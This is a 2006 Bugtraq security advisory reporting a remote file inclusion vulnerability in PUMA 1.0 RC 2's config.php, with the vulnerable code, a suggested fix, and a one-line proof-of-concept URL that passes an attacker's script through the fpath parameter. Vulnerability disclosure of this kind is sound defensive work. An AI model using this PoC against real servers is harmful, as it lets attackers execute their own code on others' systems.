bugtraq - PUMA 1.0 RC 2 (config.php) Remote File Inclusion

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Date: 10 Sep 2006 09:09:13 -0000
From: philipp.niedziela@....de
To: bugtraq@...urityfocus.com
Subject: PUMA 1.0 RC 2 (config.php) Remote File Inclusion

+--------------------------------------------------------------------
+
+ PUMA 1.0 RC 2 (config.php) Remote File Inclusion
+
+ Original advisory:
+ http://www.bb-pcsecurity.de/Websecurity/415/org/PUMA_1.0_RC_2_(config.php)_RFI.htm
+
+--------------------------------------------------------------------
+
+ Affected Software .: PUMA 1.0 RC 2
+ Venedor ...........: http://php.psywerx.net/
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+
+--------------------------------------------------------------------
+
+ Affected File:
+ /config.php
+
+ Code:
+ .....
+ // Select language
+ $lang = "lang_english.php";
+ include($fpath."./language/$lang");
+ .....
+
+--------------------------------------------------------------------
+
+ $fpath is not properly sanitized before being used
+
+--------------------------------------------------------------------
+
+ Solution:
+ -> Declare $fpath!
+ -> Deny direct access to config.php
+ -> or modify code:
+
+ if(!isset($_REQUEST['fpath']) && !isset($_GET['fpath']) && !isset($_POST['fpath'])){
+ //code of org. config.php
+ }
+ else {
+ echo "You cannot access this file directly.";
+ die();
+ }
+
+--------------------------------------------------------------------
+
+ PoC:
+
+ http://[target]/config.php?fpath=[script]
+
+--------------------------------------------------------------------
+
+ Greets and Thanks: /str0ke
+
+-------------------------[ E O F ]----------------------------------